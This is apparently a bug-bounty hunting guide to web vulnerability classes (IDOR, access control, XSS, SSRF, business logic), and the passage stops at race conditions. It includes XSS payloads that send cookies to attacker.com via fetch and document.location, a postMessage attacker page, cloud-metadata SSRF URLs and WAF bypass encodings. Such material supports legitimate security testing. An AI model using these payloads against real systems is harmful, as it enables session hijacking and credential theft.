shuvonsec/claude-bug-bounty/web2-vuln-classes

WEB2 BUG CLASSES — 26 Classes

Root cause, pattern, bypass table, chaining opportunity, real paid examples.

Auth-required classes (🔐): the ones below need **at least one logged-in

session** loaded into the hunt to be testable. Use `hunt.py --auth-file

.private/T.json or --cookie/--bearer` flags — every recon/scan tool then

inherits the headers automatically. For IDOR/BOLA/priv-esc, load **two

sessions** (low- and high-priv) and diff. See docs/auth-sessions.md.

🔐 IDOR · Broken Auth/Access Control · Mass Assignment · OAuth/OIDC · JWT ·

GraphQL field-level auth · LLM/AI chatbot IDOR · MFA (rate-limit + response

manipulation tests) · ATO chains · SSRF behind login

The MFA workflow-skip and SAML signature-stripping probes intentionally

stay unauthenticated even when a session is loaded — that's the

attack premise.

1. IDOR — INSECURE DIRECT OBJECT REFERENCE 🔐

#1 most paid web2 class — 30% of all submissions that get paid.

Needs two sessions (A=attacker, B=victim) — load both via --auth-file

and diff audit-log session_id hashes to confirm cross-tenant access.

Root Cause

# VULNERABLE — no ownership check
@app.route('/api/orders/<order_id>')
def get_order(order_id):
    order = db.query("SELECT * FROM orders WHERE id = ?", order_id)
    return jsonify(order)  # Never checks if order belongs to current user!
# SECURE
@app.route('/api/orders/<order_id>')
def get_order(order_id):
    order = db.query("SELECT * FROM orders WHERE id = ? AND user_id = ?",
                     order_id, current_user.id)

Variants

• V1: Numeric ID swap — /api/user/123/profile → change to 124
• V2: UUID swap — enumerate UUID via email invite or other endpoint
• V3: Indirect IDOR — POST /api/export?report_id=456 exports another user's report
• V4: Parameter add — ?user_id=other makes backend use it
• V5: HTTP method swap — PUT protected, DELETE not
• V6: Old API version — /v1/users/123 lacks auth that /v2/ has
• V7: GraphQL node — { node(id: "base64(User:456)") { email } }
• V8: WebSocket — WS sends {"action":"get_history","userId":"client-generated-UUID"}

Testing Checklist

[ ] Two accounts (A=attacker, B=victim)
[ ] Log in as A, perform all actions, note all IDs
[ ] Replay A's requests with A's token but B's IDs
[ ] Test EVERY HTTP method (GET, PUT, DELETE, PATCH)
[ ] Check API v1 vs v2
[ ] Check GraphQL node() queries
[ ] Check WebSocket messages for client-supplied IDs

IDOR Chain Escalation

• IDOR + Read PII = Medium
• IDOR + Write (modify other's data) = High
• IDOR + Admin endpoint = Critical (privilege escalation)
• IDOR + Account takeover path = Critical
• IDOR + Chatbot reads other user's data = High

2. BROKEN AUTH / ACCESS CONTROL 🔐

#2 most paid class. The sibling function rule: if 9 endpoints have auth, the 10th that doesn't is your bug.

Needs auth loaded — you're testing which sibling routes a logged-in

user can reach that shouldn't be reachable. Compare authed responses

against the same paths hit anonymously.

The Sibling Rule

/api/admin/users  → has auth middleware
/api/admin/export → often MISSING it
/api/admin/delete → often MISSING it
/api/admin/reset  → often MISSING it

Patterns

// Missing middleware on sibling
router.get('/admin/users', authenticate, authorize('admin'), getUsers);
router.get('/admin/export', getExport);  // No middleware!
// Client-side role check only
if (user.role === 'admin') showAdminButton();
// Backend: app.post('/api/admin/delete', deleteUser); // no server check!

Real Paid Examples

• HackerOne TrustHub: POST /graphql with TrustHubQuery — no auth, regular user reads all vendors (CVSS 8.7 High)
• Vienna Chatbot: WebSocket get_history accepts arbitrary UUID — no ownership check (P2)

3. XSS — CROSS-SITE SCRIPTING

Stored XSS (highest impact)

Input: "<script>document.location='https://attacker.com/c?c='+document.cookie</script>"
Any user viewing page executes attacker JS → cookie theft → session hijack

DOM XSS Sinks (grep for these)

innerHTML = userInput           // HIGH RISK
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)      // string form
element.src = userInput         // JavaScript URI possible
location.href = userInput

postMessage is a DOM XSS source — same sinks above (innerHTML, eval, etc.) become reachable when fed by addEventListener("message", ...) without proper event.origin validation. See postMessage Testing below.

XSS Bypass Techniques

// CSP bypass — unsafe-inline blocked
<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">
// Angular template injection
{{constructor.constructor('alert(1)')()}}
// mXSS — mutation-based
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

XSS Chains (escalate to High/Critical)

• XSS + sensitive page (banking/admin) = High
• XSS + CSRF token theft = CSRF bypass on critical action
• XSS + service worker = persistent XSS across pages
• XSS + credential theft via fake login form = ATO
• No JS allowed? CSS injection can still exfil tokens via attribute selectors — see CSS Injection

WAF bypass for XSS: Run bughunter/tools/waf_encoder.py "<payload>" --class xss to get 20+ variants (HTML entity, unicode escape, base64-wrapped). Try <svg onload=eval(atob('...'))> or <svg><animate onbegin=alert(1) attributeName=x dur=1s> when <script> is blocked. Probe which chars are allowed by testing individually, then construct payload from unblocked chars.

postMessage Testing

DOM XSS variant where window.addEventListener("message", ...) lacks proper event.origin validation. Common on SDK callbacks, OAuth redirect handlers, iframe widgets, chat/analytics scripts — easy to miss because the entry point is indirect (no URL parameter, no form field, source-code grep alone doesn't reveal whether the origin check is sound).

Vulnerable pattern:

window.addEventListener("message", (e) => {
  // No e.origin check → any page can postMessage in
  document.getElementById("x").innerHTML = e.data
})

Common origin-check bypasses:

Finding listeners:

// DevTools console (Chromium) — list every message listener registered on window
getEventListeners(window).message

# Source grep when you have JS bundles
grep -rn "addEventListener.*['\"]message['\"]" --include="*.js" | grep -v node_modules

• Burp extension: postMessage-tracker — auto-logs every postMessage with sender origin
• The actual signal is whether the sink fires, not whether a listener exists — always confirm with the attacker page below

Attacker page template:

<!-- Hosted on attacker.com -->
<iframe src="https://victim.com" id="v"></iframe>
<script>
  document.getElementById('v').onload = () => {
    document.getElementById('v').contentWindow.postMessage(
      '<img src=x onerror=fetch("//attacker.com/?c="+document.cookie)>',
      '*'  // wildcard target — works regardless of origin policy on send
    )
  }
</script>

Chains That Pay:

postMessage -> innerHTML/eval sink -> DOM XSS                          High
postMessage -> OAuth code/state passing -> code theft -> ATO           Critical
postMessage -> localStorage token override -> session manipulation     High
postMessage -> JSON deserialize sink (eval/Function) -> RCE            Critical (rare)
postMessage handler strict-equals origin (no bypass found)             N/A
SDK postMessage with internal-only contract (no public callers)        Info (chain only)

Triage:

Listener missing origin check + reachable XSS sink (innerHTML/eval)   = High/Critical
Listener missing origin check + OAuth code/state flows through it     = Critical (ATO)
Listener present + origin check has substring/regex bypass            = same severity, PoC required
Listener present + strict equality on origin (=== exact match)        = N/A
Listener exists but only logs / no DOM mutation                       = Low/Info

4. SSRF — SERVER-SIDE REQUEST FORGERY

Injection Points

?url=, ?src=, ?redirect=, ?next=, ?image=, ?webhook=, ?callback=
JSON: {"webhook": "http://...", "avatar_url": "http://..."}
SVG: <image href="http://internal">

SSRF Payloads (escalating impact)

# DNS-only (Informational — insufficient alone)
https://attacker.burpcollaborator.net
 
# Cloud metadata (Critical on cloud apps)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
 
# Internal port scan
http://localhost:6379     # Redis
http://localhost:9200     # Elasticsearch
http://localhost:2375     # Docker API (RCE)
http://localhost:8080     # Admin panel

SSRF IP Bypass Techniques (11 techniques)

SSRF Impact Chain

• DNS-only = Informational
• Internal service accessible = Medium
• Cloud metadata = High (key exposure)
• Cloud metadata + exfil keys = Critical

WAF bypass for SSRF: If WAF blocks 127.0.0.1/169.254.169.254, try 2130706433 (decimal), 0x7f000001 (hex), [::1] (IPv6), [::ffff:127.0.0.1] (IPv4-mapped), 127.0.0.1.nip.io (DNS rebind), or 127。0。0。1 (full-width period U+3002). Run payload through bughunter/tools/waf_encoder.py "<payload>" --class generic.

5. BUSINESS LOGIC

Transferred from web3's "incomplete code path" pattern.

Pattern 1: Fast Path Skips State Update

def redeem_coupon(coupon_code, user_id):
    coupon = get_coupon(coupon_code)
    if coupon.balance >= amount:
        transfer(user_id, amount)
        return  # MISSING: never marks coupon as used!
    coupon.mark_used()
    transfer(user_id, amount)

Pattern 2: Workflow Step Skip

Normal: select plan → add payment → confirm → activate
Attack: skip to /confirm?plan=premium&skip_payment=true

Pattern 3: Negative / Zero Bypass

POST /api/transfer {"amount": -100}  → credits attacker, debits victim
POST /api/cart {"quantity": 0}       → adds item free
POST /api/refund {"amount": 99999}   → refunds more than purchased

Pattern 4: Race Condition (TOCTOU)

Thread 1: checks balance (10 credits) → PASS
Thread 2: checks balance (10 credits) → PASS
Thread 1: deducts → 0 remaining
Thread 2: deducts → -10 remaining (DOUBLE SPEND)

6. RACE CONDITIONS